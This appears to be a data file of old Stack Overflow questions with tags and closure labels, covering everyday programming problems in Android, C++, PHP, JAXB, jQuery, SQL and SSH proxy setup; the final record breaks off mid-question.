whiteKeyPressedArray[i].setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
}}
I see that this allows touches:
public boolean onTouch(View v, MotionEvent event) {
//Switch case for type of touch
}
But how can I detect touch rather than click on my whiteKeyPressedArray[i]?
Thanks! | android | null | null | null | null | null | open | Android turning clicks into touches
===
I have an on click listener:
whiteKeyPressedArray[i].setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
}}
I see that this allows touches:
public boolean onTouch(View v, MotionEvent event) {
//Switch case for type of touch
}
But how can I detect touch rather than click on my whiteKeyPressedArray[i]?
Thanks! | 0 |
8,862,450 | 01/14/2012 13:18:55 | 62,699 | 02/05/2009 00:58:41 | 9,303 | 301 | In makefiles what do CC and LD stand for? | In makefiles what do ***CC*** (compiler) and ***LD*** (linker) stand for?
C in CC is probably compiler, what is the other C?
And L in LD is probably linker, what does the D stand for? | makefile | null | null | null | null | null | open | In makefiles what do CC and LD stand for?
===
In makefiles what do ***CC*** (compiler) and ***LD*** (linker) stand for?
C in CC is probably compiler, what is the other C?
And L in LD is probably linker, what does the D stand for? | 0 |
9,066,558 | 01/30/2012 15:47:15 | 1,041,887 | 11/11/2011 14:41:58 | 6 | 0 | c++ small executable with exception handling | I have a C++ project that contains a vast amount of exception handling. The added exception handling increases my executable size 10 fold and im trying to figure out a way to reduce the size. any suggestions out there? | c++ | exception | handling | null | null | 02/01/2012 03:36:20 | not constructive | c++ small executable with exception handling
===
I have a C++ project that contains a vast amount of exception handling. The added exception handling increases my executable size 10 fold and im trying to figure out a way to reduce the size. any suggestions out there? | 4 |
1,613,617 | 10/23/2009 13:53:58 | 34,537 | 11/05/2008 03:00:23 | 2,610 | 49 | script to add files to SVN with filters | My bash scripting is weak. I want to create a script that filters and add files to the svn.
So far i have this
ls | egrep -v "(\.tab\.|\.yy\.|\.o$|\.exe$|~$)"
I tried to output it using exec but couldnt figure out how. Before that I checked if svn add uses regex. I am not sure if it does and i couldnt figure out how to reverse the above without the -v (i tired `"[^((\.tab\.|\.yy\.|\.o$|\.exe$|~$))]"` but that didnt work as expected (it seems to only ignore .tab. files))
How do i create a script to add files to svn after applying a filter? Would this be the most simple way? -> use ls, grep, put into a bash array then use a foreach with an svn add $element ?
NOTE: This is using linux, i dont think i'll have this running on windows (i couldnt set up bison) so as long as it works on most linux distros i am happy. Ignore the fact the above uses .exe | svn | bash | scripting | regex | null | null | open | script to add files to SVN with filters
===
My bash scripting is weak. I want to create a script that filters and add files to the svn.
So far i have this
ls | egrep -v "(\.tab\.|\.yy\.|\.o$|\.exe$|~$)"
I tried to output it using exec but couldnt figure out how. Before that I checked if svn add uses regex. I am not sure if it does and i couldnt figure out how to reverse the above without the -v (i tired `"[^((\.tab\.|\.yy\.|\.o$|\.exe$|~$))]"` but that didnt work as expected (it seems to only ignore .tab. files))
How do i create a script to add files to svn after applying a filter? Would this be the most simple way? -> use ls, grep, put into a bash array then use a foreach with an svn add $element ?
NOTE: This is using linux, i dont think i'll have this running on windows (i couldnt set up bison) so as long as it works on most linux distros i am happy. Ignore the fact the above uses .exe | 0 |
8,441,335 | 12/09/2011 05:09:36 | 919,272 | 08/30/2011 08:23:15 | 38 | 1 | change default context menu for textbox in property grid | I use System.Windows.Forms.PropertyGrid.
How can I change default context menu for string values?
I want to remove "Open IME" and "Reconversion" menu items.
Is it possible to create custom cut-copy-paste context menu for textboxes in property grid? | c# | contextmenu | propertygrid | null | null | null | open | change default context menu for textbox in property grid
===
I use System.Windows.Forms.PropertyGrid.
How can I change default context menu for string values?
I want to remove "Open IME" and "Reconversion" menu items.
Is it possible to create custom cut-copy-paste context menu for textboxes in property grid? | 0 |
11,578,739 | 07/20/2012 11:48:30 | 1,528,348 | 07/16/2012 08:54:52 | 3 | 0 | JQuery/Javascript progress bar that goes both ways | I want to make a progress bar using JQuery or JS. I want it to start with zero value at center. And when the function is called the progress bar starts to fill first to the right and then to the left (right progress stays) and goes on until it touches to both sides. I'm really rookie at JS family.
Is there any method or library, or else what helps me manage this? | javascript | jquery | jquery-ui | progress-bar | null | 07/20/2012 17:33:05 | not a real question | JQuery/Javascript progress bar that goes both ways
===
I want to make a progress bar using JQuery or JS. I want it to start with zero value at center. And when the function is called the progress bar starts to fill first to the right and then to the left (right progress stays) and goes on until it touches to both sides. I'm really rookie at JS family.
Is there any method or library, or else what helps me manage this? | 1 |
4,365,567 | 12/06/2010 10:46:27 | 314,056 | 04/11/2010 19:43:17 | 1,027 | 92 | PHP instanceof over strings and non-initializable classes | **I need** to check whether a certain class extends or implements a particular interface.
**Note** that the class name is a variable string, ie, there won't be any instance of this class.
Here's the code I'm using:
function is_instance_of($obj,$cls){
if(is_string($obj))$obj=new $obj();
if(PHP_MAJOR_VERSION>4)return $obj instanceof $cls;
if(PHP_MAJOR_VERSION>3)return is_a($obj,strtolower($cls));
return false;
}
var_dump(is_instance_of('MyClass','IMyInterface')); // in theory, true
var_dump(is_instance_of('Closure','IMyInterface')); // FATAL ERROR
That last test shows up the following error:
> Catchable fatal error: Instantiation of 'Closure' is not allowed in C:\Users\abcdefghijklmn\debug.php on line XX
Things I tried:
- Using `$obj=new @$obj();` :- error is hidden but it still faults/dies.
- Using `try{}catch(){}` around offending block :- nothing different happens
- Using `'class' instanceof 'class'` (where $obj is a string) :- returns `false` unconditionally
| php | class | interface | closures | instanceof | null | open | PHP instanceof over strings and non-initializable classes
===
**I need** to check whether a certain class extends or implements a particular interface.
**Note** that the class name is a variable string, ie, there won't be any instance of this class.
Here's the code I'm using:
function is_instance_of($obj,$cls){
if(is_string($obj))$obj=new $obj();
if(PHP_MAJOR_VERSION>4)return $obj instanceof $cls;
if(PHP_MAJOR_VERSION>3)return is_a($obj,strtolower($cls));
return false;
}
var_dump(is_instance_of('MyClass','IMyInterface')); // in theory, true
var_dump(is_instance_of('Closure','IMyInterface')); // FATAL ERROR
That last test shows up the following error:
> Catchable fatal error: Instantiation of 'Closure' is not allowed in C:\Users\abcdefghijklmn\debug.php on line XX
Things I tried:
- Using `$obj=new @$obj();` :- error is hidden but it still faults/dies.
- Using `try{}catch(){}` around offending block :- nothing different happens
- Using `'class' instanceof 'class'` (where $obj is a string) :- returns `false` unconditionally
| 0 |
9,156,830 | 02/06/2012 07:23:16 | 959,338 | 09/22/2011 14:30:10 | 33 | 1 | why fancybox can't resize when i add some dynamic element to current box? | please check my code,
$.ajax({
type: "get",
url: '<%=Url.Action("GetFriends") %>',
data: { userId: '<%=User.Identity.Name %>' },
dataType: "json",
success: function (data) {
//clear previous element
clearDropList();
//append data
$.each(data, function (i, obj) {
$(".msg_box_droplist ul").append("<li><img src=\"" + obj.Avator + "\" /><span>" + obj.NickName + "</span></li>");
});
//show droplist
showDropList(200);
$.fancybox.resize(); //here resize method do not work
}
});
when i append some element to currrent box, and the box height increase, but fancybox resize method do not work! please help me. thx
| javascript | fancybox | null | null | null | null | open | why fancybox can't resize when i add some dynamic element to current box?
===
please check my code,
$.ajax({
type: "get",
url: '<%=Url.Action("GetFriends") %>',
data: { userId: '<%=User.Identity.Name %>' },
dataType: "json",
success: function (data) {
//clear previous element
clearDropList();
//append data
$.each(data, function (i, obj) {
$(".msg_box_droplist ul").append("<li><img src=\"" + obj.Avator + "\" /><span>" + obj.NickName + "</span></li>");
});
//show droplist
showDropList(200);
$.fancybox.resize(); //here resize method do not work
}
});
when i append some element to currrent box, and the box height increase, but fancybox resize method do not work! please help me. thx
| 0 |
8,948,516 | 01/20/2012 22:12:04 | 1,123,647 | 12/30/2011 22:41:43 | 1 | 0 | how to add custom images to tabbar through programtically(it will be like big images) |
i write code for custom tabbar in appdelegate file but i don't have idea to add custom images like big images to that tabs pls any one help me my code is: NSMutableArray *localViewControllersArray = [[NSMutableArray alloc] initWithCapacity:4]; HomeTabViewController *ptr_homeTab; ptr_homeTab = [[HomeTabViewController alloc]initWithNibName:@"HomeTabViewController"bundle:nil]; UINavigationController *homeNavBar=[[UINavigationController alloc]initWithRootViewController:ptr_homeTab]; homeNavBar.tabBarItem.title=@"Home"; homeNavBar.tabBarItem.image=[UIImage imageNamed:@"home.png"]; [ptr_homeTab release]; myHospitalviewController=[[MyHospitalViewController alloc]initWithNibName:@"MyHospitalViewController" bundle:nil]; UINavigationController *myHospitalNavBar=[[UINavigationController alloc]initWithRootViewController:myHospitalviewController]; myHospitalNavBar.title=@"My Hospital"; myHospitalNavBar.tabBarItem.image=[UIImage imageNamed:@"myhospital.png"]; [myHospitalviewController release];
viewController = [[TreatMentiViewController alloc]initWithNibName:@"TreatMentiViewController" bundle:nil]; UINavigationController *hospitalNavBar=[[UINavigationController alloc]initWithRootViewController:viewController]; hospitalNavBar.tabBarItem.title=@"Hospital"; hospitalNavBar.tabBarItem.image=[UIImage imageNamed:@"hospital.png"]; [viewController release]; PersonalMedicineViewController *ptr_PersonalMedicine = [[PersonalMedicineViewController alloc] initWithNibName:@"PersonalMedicineViewController" bundle:nil]; UINavigationController *managerNavBar=[[UINavigationController alloc]initWithRootViewController:ptr_PersonalMedicine]; managerNavBar.tabBarItem.title=@"Manager"; managerNavBar.tabBarItem.image=[UIImage imageNamed:@"manager.png"]; [ptr_PersonalMedicine release]; [localViewControllersArray addObject:homeNavBar]; [localViewControllersArray addObject:hospitalNavBar]; [localViewControllersArray addObject:myHospitalNavBar]; [localViewControllersArray addObject:managerNavBar]; [homeNavBar release]; [hospitalNavBar release]; [myHospitalNavBar release]; [managerNavBar release]; tabBars.viewControllers = localViewControllersArray; tabBars.view.autoresizingMask==(UIViewAutoresizingFlexibleHeight); [localViewControllersArray release]; | iphone | uitabbarcontroller | uitabbar | null | null | 01/21/2012 05:37:15 | not a real question | how to add custom images to tabbar through programtically(it will be like big images)
===
i write code for custom tabbar in appdelegate file but i don't have idea to add custom images like big images to that tabs pls any one help me my code is: NSMutableArray *localViewControllersArray = [[NSMutableArray alloc] initWithCapacity:4]; HomeTabViewController *ptr_homeTab; ptr_homeTab = [[HomeTabViewController alloc]initWithNibName:@"HomeTabViewController"bundle:nil]; UINavigationController *homeNavBar=[[UINavigationController alloc]initWithRootViewController:ptr_homeTab]; homeNavBar.tabBarItem.title=@"Home"; homeNavBar.tabBarItem.image=[UIImage imageNamed:@"home.png"]; [ptr_homeTab release]; myHospitalviewController=[[MyHospitalViewController alloc]initWithNibName:@"MyHospitalViewController" bundle:nil]; UINavigationController *myHospitalNavBar=[[UINavigationController alloc]initWithRootViewController:myHospitalviewController]; myHospitalNavBar.title=@"My Hospital"; myHospitalNavBar.tabBarItem.image=[UIImage imageNamed:@"myhospital.png"]; [myHospitalviewController release];
viewController = [[TreatMentiViewController alloc]initWithNibName:@"TreatMentiViewController" bundle:nil]; UINavigationController *hospitalNavBar=[[UINavigationController alloc]initWithRootViewController:viewController]; hospitalNavBar.tabBarItem.title=@"Hospital"; hospitalNavBar.tabBarItem.image=[UIImage imageNamed:@"hospital.png"]; [viewController release]; PersonalMedicineViewController *ptr_PersonalMedicine = [[PersonalMedicineViewController alloc] initWithNibName:@"PersonalMedicineViewController" bundle:nil]; UINavigationController *managerNavBar=[[UINavigationController alloc]initWithRootViewController:ptr_PersonalMedicine]; managerNavBar.tabBarItem.title=@"Manager"; managerNavBar.tabBarItem.image=[UIImage imageNamed:@"manager.png"]; [ptr_PersonalMedicine release]; [localViewControllersArray addObject:homeNavBar]; [localViewControllersArray addObject:hospitalNavBar]; [localViewControllersArray addObject:myHospitalNavBar]; [localViewControllersArray addObject:managerNavBar]; [homeNavBar release]; [hospitalNavBar release]; [myHospitalNavBar release]; [managerNavBar release]; tabBars.viewControllers = localViewControllersArray; tabBars.view.autoresizingMask==(UIViewAutoresizingFlexibleHeight); [localViewControllersArray release]; | 1 |
561,093 | 02/18/2009 13:47:04 | 57,482 | 01/21/2009 11:04:31 | 39 | 2 | howto generate a subdivided icosahedron | I've asked some questions here and seen this geometric shape mentioned a few times among other geodesic shapes, but I'm curious how exactly would I generate one about a point xyz? | maths | geometry | shapes | null | null | null | open | howto generate a subdivided icosahedron
===
I've asked some questions here and seen this geometric shape mentioned a few times among other geodesic shapes, but I'm curious how exactly would I generate one about a point xyz? | 0 |
5,974,466 | 05/12/2011 07:03:42 | 637,116 | 02/28/2011 04:01:53 | 70 | 9 | Unable to display address using reverse Geocoding. | This is my code......
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
TextView myLatitude = (TextView)findViewById(R.id.mylatitude);
TextView myLongitude = (TextView)findViewById(R.id.mylongitude);
TextView myAddress = (TextView)findViewById(R.id.myaddress);
myLatitude.setText("Latitude: " + String.valueOf(LATITUDE));
myLongitude.setText("Longitude: " + String.valueOf(LONGITUDE));
Geocoder geocoder = new Geocoder(this, Locale.getDefault());
try {
//List<Address> addresses = geocoder.getFromLocation(LATITUDE, LONGITUDE, 1);
/* List<Address> addresses = new Geocoder(this,Locale.getDefault()).getFromLocation(LATITUDE, LONGITUDE, 1);
if(addresses != null) {
Address returnedAddress = addresses.get(0);
StringBuilder strReturnedAddress = new StringBuilder("Address:\n");
for(int i=0; i<returnedAddress.getMaxAddressLineIndex(); i++) {
strReturnedAddress.append(returnedAddress.getAddressLine(i)).append("\n");
}
myAddress.setText(strReturnedAddress.toString());*/
List<Address> addresses = geocoder.getFromLocation(LATITUDE, LONGITUDE, 1);
StringBuilder sb = new StringBuilder();
if (addresses.size() > 0) {
Address address = addresses.get(0);
for (int i = 0; i < address.getMaxAddressLineIndex(); i++)
addr=address.getAddressLine(i);
}
else{
myAddress.setText("No Address returned!");
}
} catch (IOException e) {
// TODO Auto-generated catch block
/*e.printStackTrace();
myAddress.setText("Canont get Address!");*/
}
}
Can anyone sort out what is the problem???
Thanks in advance.
| android | null | null | null | null | 06/07/2011 17:29:19 | not a real question | Unable to display address using reverse Geocoding.
===
This is my code......
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
TextView myLatitude = (TextView)findViewById(R.id.mylatitude);
TextView myLongitude = (TextView)findViewById(R.id.mylongitude);
TextView myAddress = (TextView)findViewById(R.id.myaddress);
myLatitude.setText("Latitude: " + String.valueOf(LATITUDE));
myLongitude.setText("Longitude: " + String.valueOf(LONGITUDE));
Geocoder geocoder = new Geocoder(this, Locale.getDefault());
try {
//List<Address> addresses = geocoder.getFromLocation(LATITUDE, LONGITUDE, 1);
/* List<Address> addresses = new Geocoder(this,Locale.getDefault()).getFromLocation(LATITUDE, LONGITUDE, 1);
if(addresses != null) {
Address returnedAddress = addresses.get(0);
StringBuilder strReturnedAddress = new StringBuilder("Address:\n");
for(int i=0; i<returnedAddress.getMaxAddressLineIndex(); i++) {
strReturnedAddress.append(returnedAddress.getAddressLine(i)).append("\n");
}
myAddress.setText(strReturnedAddress.toString());*/
List<Address> addresses = geocoder.getFromLocation(LATITUDE, LONGITUDE, 1);
StringBuilder sb = new StringBuilder();
if (addresses.size() > 0) {
Address address = addresses.get(0);
for (int i = 0; i < address.getMaxAddressLineIndex(); i++)
addr=address.getAddressLine(i);
}
else{
myAddress.setText("No Address returned!");
}
} catch (IOException e) {
// TODO Auto-generated catch block
/*e.printStackTrace();
myAddress.setText("Canont get Address!");*/
}
}
Can anyone sort out what is the problem???
Thanks in advance.
| 1 |
6,078,238 | 05/20/2011 22:34:48 | 763,469 | 05/20/2011 22:07:38 | 1 | 0 | New to C++, need useful examples | I am new to Stack Overflow, and new to programming.
I am learning how to program in C++.
My question is not related to specific code, but is about research and learning the language.
What I have learned so far relates to narrow examples of syntax and simple programs which use variables, functions, arrays, etc.
I am wondering if people **have or can link to example programs** so I can study them.
I'm looking for **console programs** which:
- use **variables** (int, double, string, etc)
- use **functions**
- use **arrays** use **classes** with
- **attributes** and **methods** use **objects** of that **class**
- **reads** and **writes** to a **file**
- **validates** user **inputs**, displaying appropriate **error messages**
and is basically a **useful** program.
Through Google, I have mostly only been able to find C++ tutorial pages (cplusplus, cprogramming, etc) which deal with each of the above separately, usually in a bare-bones way to show the syntax. I'm looking for something more complex (but not overly so) so I can **learn how to combine these things in a meaningful way** with the intent of eventually writing programs of my own at the same level.
I've **already coded a calculator** (though not one that has all of these features; namely it was missing file i/o and I was able to make a basic one which didn't need objects), so I'm **looking for something different**. I understand console programs are text based and lend themselves well to these kind of programs, so it can be a calculator of another type, as long as it isn't a basic arithmetic one. | c++ | resources | code-examples | null | null | 05/21/2011 01:57:36 | not a real question | New to C++, need useful examples
===
I am new to Stack Overflow, and new to programming.
I am learning how to program in C++.
My question is not related to specific code, but is about research and learning the language.
What I have learned so far relates to narrow examples of syntax and simple programs which use variables, functions, arrays, etc.
I am wondering if people **have or can link to example programs** so I can study them.
I'm looking for **console programs** which:
- use **variables** (int, double, string, etc)
- use **functions**
- use **arrays** use **classes** with
- **attributes** and **methods** use **objects** of that **class**
- **reads** and **writes** to a **file**
- **validates** user **inputs**, displaying appropriate **error messages**
and is basically a **useful** program.
Through Google, I have mostly only been able to find C++ tutorial pages (cplusplus, cprogramming, etc) which deal with each of the above separately, usually in a bare-bones way to show the syntax. I'm looking for something more complex (but not overly so) so I can **learn how to combine these things in a meaningful way** with the intent of eventually writing programs of my own at the same level.
I've **already coded a calculator** (though not one that has all of these features; namely it was missing file i/o and I was able to make a basic one which didn't need objects), so I'm **looking for something different**. I understand console programs are text based and lend themselves well to these kind of programs, so it can be a calculator of another type, as long as it isn't a basic arithmetic one. | 1 |
11,630,403 | 07/24/2012 11:59:47 | 1,436,690 | 06/05/2012 06:50:15 | 18 | 0 | Dynamically changing column name | I am using `rad:radgrid` datagrid control. I need to change column header text dynamically.
I try `rgGrid.Columns[0].HeaderText = "Id"` and it works fine for `GridBoundColumn`, but now I need to do the same for `GridButtonColumn` but it not working
I also try:
<rad:GridButtonColumn HeaderText="<%= stringText %>" >
but it doesn't work becouse rad controls does not allowed to use <% %>.
Thanks!
| asp.net | datagrid | columns | null | null | null | open | Dynamically changing column name
===
I am using `rad:radgrid` datagrid control. I need to change column header text dynamically.
I try `rgGrid.Columns[0].HeaderText = "Id"` and it works fine for `GridBoundColumn`, but now I need to do the same for `GridButtonColumn` but it not working
I also try:
<rad:GridButtonColumn HeaderText="<%= stringText %>" >
but it doesn't work becouse rad controls does not allowed to use <% %>.
Thanks!
| 0 |
7,968,694 | 11/01/2011 15:21:19 | 943,117 | 09/13/2011 17:54:37 | 101 | 3 | JAXB - unmarshal OutOfMemory: Java Heap Space | I'm currently trying to use JAXB to unmarshal an XML file, but it seems that the XML file is too large (~500mb) for the unmarshaller to handle. I keep getting `java.lang.OutOfMemoryError: Java heap space` @
Unmarshaller um = JAXBContext.newInstance("com.sample.xml");
Export e = (Export)um.unmarhsal(new File("SAMPLE.XML"));
I'm guessing this is becuase it's trying to open the large XML file as an object, but the file is just too large for the java heap space.
Is there any other more 'memory efficient' method of parsing large XML files ~ 500mb? Or perhaps an unmarshaller property that may help me handle the large XML file? | java | xml | memory | jaxb | null | null | open | JAXB - unmarshal OutOfMemory: Java Heap Space
===
I'm currently trying to use JAXB to unmarshal an XML file, but it seems that the XML file is too large (~500mb) for the unmarshaller to handle. I keep getting `java.lang.OutOfMemoryError: Java heap space` @
Unmarshaller um = JAXBContext.newInstance("com.sample.xml");
Export e = (Export)um.unmarhsal(new File("SAMPLE.XML"));
I'm guessing this is becuase it's trying to open the large XML file as an object, but the file is just too large for the java heap space.
Is there any other more 'memory efficient' method of parsing large XML files ~ 500mb? Or perhaps an unmarshaller property that may help me handle the large XML file? | 0 |
4,439,926 | 12/14/2010 13:58:55 | 65,120 | 02/11/2009 15:02:52 | 1,090 | 25 | CSS cascading term | The cascading term in CSS is related to the fact
that having more style sources combine them together
or only to the fact to the conflict order resolution?
Thanks | css | null | null | null | null | 12/15/2010 01:23:11 | not a real question | CSS cascading term
===
The cascading term in CSS is related to the fact
that having more style sources combine them together
or only to the fact to the conflict order resolution?
Thanks | 1 |
7,783,601 | 10/16/2011 10:06:01 | 855,686 | 07/21/2011 10:14:44 | 306 | 0 | Where is a specific .NET framework document for google calendar? | I'm working on google calendar Data API for .NET Framework. (http://code.google.com/apis/calendar/data/2.0/developers_guide_dotnet.html)
A linked page describes with lot of samples, but I can't found more specific documents, like what effect of EventQuery.NumberToRetrieve property does.
where is a more specific documents about this? | c# | google | calendar | null | null | null | open | Where is a specific .NET framework document for google calendar?
===
I'm working on google calendar Data API for .NET Framework. (http://code.google.com/apis/calendar/data/2.0/developers_guide_dotnet.html)
A linked page describes with lot of samples, but I can't found more specific documents, like what effect of EventQuery.NumberToRetrieve property does.
where is a more specific documents about this? | 0 |
5,621,220 | 04/11/2011 12:26:21 | 705,773 | 04/11/2011 12:26:21 | 1 | 0 | How to display one DIV over another DIV in IE6 ? | I am writting some html code which have following structure
`<div style="position:relative">
<form>
<table>
<tr>
<td> <div id="Upper_Element" style="position:absolute;z-index=10"></div> </td>
</tr>
<tr>
<td> <div id="Lower_Element" style="position:absolute;z-index=-1"></div> </td>
</tr>
</table>
</form>
</div>
`
here Upper_Element is a autocomplete text box (where suggestion are displayed when user enters anything like google) and Lower_Element is normal drop down box.
In IE6 , When autocomplete suggestion are displayed Lower_Element is displayed over the suggestions list .
In other browser like IE8 its working fine.
I tried position and z-index attributes.
Please let mo know what else can be done to avoid the problem.
Thanks in advance !
| html | css | internet-explorer | null | null | null | open | How to display one DIV over another DIV in IE6 ?
===
I am writting some html code which have following structure
`<div style="position:relative">
<form>
<table>
<tr>
<td> <div id="Upper_Element" style="position:absolute;z-index=10"></div> </td>
</tr>
<tr>
<td> <div id="Lower_Element" style="position:absolute;z-index=-1"></div> </td>
</tr>
</table>
</form>
</div>
`
here Upper_Element is a autocomplete text box (where suggestion are displayed when user enters anything like google) and Lower_Element is normal drop down box.
In IE6 , When autocomplete suggestion are displayed Lower_Element is displayed over the suggestions list .
In other browser like IE8 its working fine.
I tried position and z-index attributes.
Please let mo know what else can be done to avoid the problem.
Thanks in advance !
| 0 |
10,107,314 | 04/11/2012 13:50:28 | 1,313,398 | 04/04/2012 16:49:35 | 12 | 0 | INSERT or UPDATE using IF-ELSE php MYSQL | DONOR
donor-nic----username-----status
111----------ali----------available
222---------usman--------notavailable
another is
DONATION
donation_id------donor_nic-----date---
1----------------111----------2012/03/04
2---------------111-----------2012/06/07
3----------------111---------2012/07/08
4----------------222---------2012/03/03
now i want to update the date if it is already exits corresponding to donor_nic
if date does not exists i want to insert that new date,.
i am using this query to fetching all dates according to corresponding donor_nic
SELECT donor.donor_nic, donation.lastdonationdate
FROM donor
JOIN donation ON donor.donor_nic = donation.donor_nic
WHERE username = 'ali'
GROUP BY donation.lastdonationdate
now this query works in phpmyadmin.. but when i use this in my page.. it does not match date.. i am matching date like this
$sql= SELECT donor.donor_nic, donation.lastdonationdate
FROM donor
JOIN donation ON donor.donor_nic = donation.donor_nic
WHERE username = 'ali'
GROUP BY donation.lastdonationdate
$res=mysql_query($sql, $con);
if($res == $date)
{
echo "update";
}
else
{
echo "insert";
}
but this thing didnt work.. may be i am making mistake in conditional (if-else) statment.. plz help me what should i do..
thanks in advance
| php5 | null | null | null | null | 05/30/2012 14:27:49 | too localized | INSERT or UPDATE using IF-ELSE php MYSQL
===
DONOR
donor-nic----username-----status
111----------ali----------available
222---------usman--------notavailable
another is
DONATION
donation_id------donor_nic-----date---
1----------------111----------2012/03/04
2---------------111-----------2012/06/07
3----------------111---------2012/07/08
4----------------222---------2012/03/03
now i want to update the date if it is already exits corresponding to donor_nic
if date does not exists i want to insert that new date,.
i am using this query to fetching all dates according to corresponding donor_nic
SELECT donor.donor_nic, donation.lastdonationdate
FROM donor
JOIN donation ON donor.donor_nic = donation.donor_nic
WHERE username = 'ali'
GROUP BY donation.lastdonationdate
now this query works in phpmyadmin.. but when i use this in my page.. it does not match date.. i am matching date like this
$sql= SELECT donor.donor_nic, donation.lastdonationdate
FROM donor
JOIN donation ON donor.donor_nic = donation.donor_nic
WHERE username = 'ali'
GROUP BY donation.lastdonationdate
$res=mysql_query($sql, $con);
if($res == $date)
{
echo "update";
}
else
{
echo "insert";
}
but this thing didnt work.. may be i am making mistake in conditional (if-else) statment.. plz help me what should i do..
thanks in advance
| 3 |
3,808,473 | 09/27/2010 22:49:04 | 420,656 | 08/14/2010 21:40:16 | 8 | 0 | how to add argument to function ? |
> char *test(conf_t *cf)
> {
> var->get_handler = handler;
> },
where handler(conf_r *r ). Possibly to add argument cf to function handler ?
| c | null | null | null | null | 09/27/2010 23:12:41 | not a real question | how to add argument to function ?
===
> char *test(conf_t *cf)
> {
> var->get_handler = handler;
> },
where handler(conf_r *r ). Possibly to add argument cf to function handler ?
| 1 |
5,708,840 | 04/18/2011 21:00:47 | 714,152 | 04/18/2011 21:00:47 | 1 | 0 | Enterprise patterns in .NET | I'm studying enterprise patterns to use with .net, I read a lot of theory but I don't have sample code to study.
I would like to know if there is any open source project available there uses these patterns so I can have a clear idea of how to use it.
thanks! | .net | enterprise-development | null | null | null | 07/31/2012 17:54:01 | off topic | Enterprise patterns in .NET
===
I'm studying enterprise patterns to use with .net, I read a lot of theory but I don't have sample code to study.
I would like to know if there is any open source project available there uses these patterns so I can have a clear idea of how to use it.
thanks! | 2 |
10,519,158 | 05/09/2012 15:23:44 | 1,384,992 | 05/09/2012 15:16:19 | 1 | 0 | Horizontal Drop-down Menu | I am currently looking at making a stylish looking drop-down menu and I was wondering if anyone can let me know how HSBC achieved their menu (how they had the drop-down stretch across most of the website is what i'm more interested in)
Im guessing its coded in CSS, just not 100% sure how I would go about doing it.
http://www.hsbc.co.uk/1/2/
thanks! | css | menu | horizontal | drop-down-menu | null | 05/14/2012 06:55:51 | not constructive | Horizontal Drop-down Menu
===
I am currently looking at making a stylish looking drop-down menu and I was wondering if anyone can let me know how HSBC achieved their menu (how they had the drop-down stretch across most of the website is what i'm more interested in)
Im guessing its coded in CSS, just not 100% sure how I would go about doing it.
http://www.hsbc.co.uk/1/2/
thanks! | 4 |
2,139,669 | 01/26/2010 13:38:50 | 255,920 | 01/21/2010 15:28:17 | 11 | 7 | Using <input> tags directly inside <table> | I'm generating a table with multiple editable rows. like a employee every row so that you can change multiple names at the same time. I have some hidden fields inside that also need to be looped with the table rows.
The problem is that having inputs inside table tags is not valid xhtml. And I don't want to wrap them inside <tr><td> tags since this would clearly make a new colum for hidden fields that don't need one.
Does someone know if I can wrap them inside something else to make it valid xhtml? | xhtml | html | php | null | null | null | open | Using <input> tags directly inside <table>
===
I'm generating a table with multiple editable rows. like a employee every row so that you can change multiple names at the same time. I have some hidden fields inside that also need to be looped with the table rows.
The problem is that having inputs inside table tags is not valid xhtml. And I don't want to wrap them inside <tr><td> tags since this would clearly make a new colum for hidden fields that don't need one.
Does someone know if I can wrap them inside something else to make it valid xhtml? | 0 |
9,976,221 | 04/02/2012 12:15:06 | 998,668 | 10/17/2011 07:02:09 | 1,539 | 44 | Which is the best Django Forum app..? | I just want to know, if there is a **mature** and **possibly best** `Django Forum application` available, that can be ***easily integrated into my existing Django Project***..??
I know this question could be a **possible duplicate** of many questions available..But in all those questions, i got the names of the APPS (from various answers), but none of the answer givers have actually used the any specific application..
So i want to know, if any person have actually used any **decent Django Forum Application**, please do share the experience and some nice docs (related to it)..??
Thanx in advance..!!
----------
**P.S.**
Some apps i do know from Internet are :
- pybb / pybbm
- DjangoBB
- snapboard
- Dinette
But no one has actually share experience using them..!!
----------
| python | django | application | forum | null | 04/02/2012 13:31:21 | not constructive | Which is the best Django Forum app..?
===
I just want to know, if there is a **mature** and **possibly best** `Django Forum application` available, that can be ***easily integrated into my existing Django Project***..??
I know this question could be a **possible duplicate** of many questions available..But in all those questions, i got the names of the APPS (from various answers), but none of the answer givers have actually used the any specific application..
So i want to know, if any person have actually used any **decent Django Forum Application**, please do share the experience and some nice docs (related to it)..??
Thanx in advance..!!
----------
**P.S.**
Some apps i do know from Internet are :
- pybb / pybbm
- DjangoBB
- snapboard
- Dinette
But no one has actually share experience using them..!!
----------
| 4 |
11,672,391 | 07/26/2012 15:09:03 | 1,303,577 | 03/30/2012 15:12:14 | 39 | 3 | How can I use SSH with a SOCKS 5 proxy? | I don't know much about proxies in general, and especially not SOCKS5 proxies, so sorry if this is a newbie question but I haven't been able to find the answer online or in the man pages.
I have a SOCKS5 proxy set up through PuTTY with port 7777 configured as a dynamic port. I can use firefox/filezilla/etc by configuring them to use a SOCKS proxy with localhost and port 7777. But I can't figure out how to ssh (through cygwin) to a remote server by using the dynamic port. Is this possible?
I've tried using ProxyCommand via the following method.
1. Create ~/.ssh/config with the following line:
ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7777 %h %p
2. Run ssh -p22 user@remotehost
The message I get is "ssh_exchange_identification: Connection closed by remote host"
Thanks for any help you can provide. | linux | proxy | ssh | cygwin | socks | 07/27/2012 04:22:36 | off topic | How can I use SSH with a SOCKS 5 proxy?
===
I don't know much about proxies in general, and especially not SOCKS5 proxies, so sorry if this is a newbie question but I haven't been able to find the answer online or in the man pages.
I have a SOCKS5 proxy set up through PuTTY with port 7777 configured as a dynamic port. I can use firefox/filezilla/etc by configuring them to use a SOCKS proxy with localhost and port 7777. But I can't figure out how to ssh (through cygwin) to a remote server by using the dynamic port. Is this possible?
I've tried using ProxyCommand via the following method.
1. Create ~/.ssh/config with the following line:
ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7777 %h %p
2. Run ssh -p22 user@remotehost
The message I get is "ssh_exchange_identification: Connection closed by remote host"
Thanks for any help you can provide. | 2 |
2,714,448 | 04/26/2010 14:57:21 | 56,517 | 01/18/2009 23:32:24 | 83 | 1 | User avatar cropping/resizing with paperclip and jquery in rails | Hello fellow stackoverflow users.
I am building my first Ruby on Rails app which is going to be my own little community.
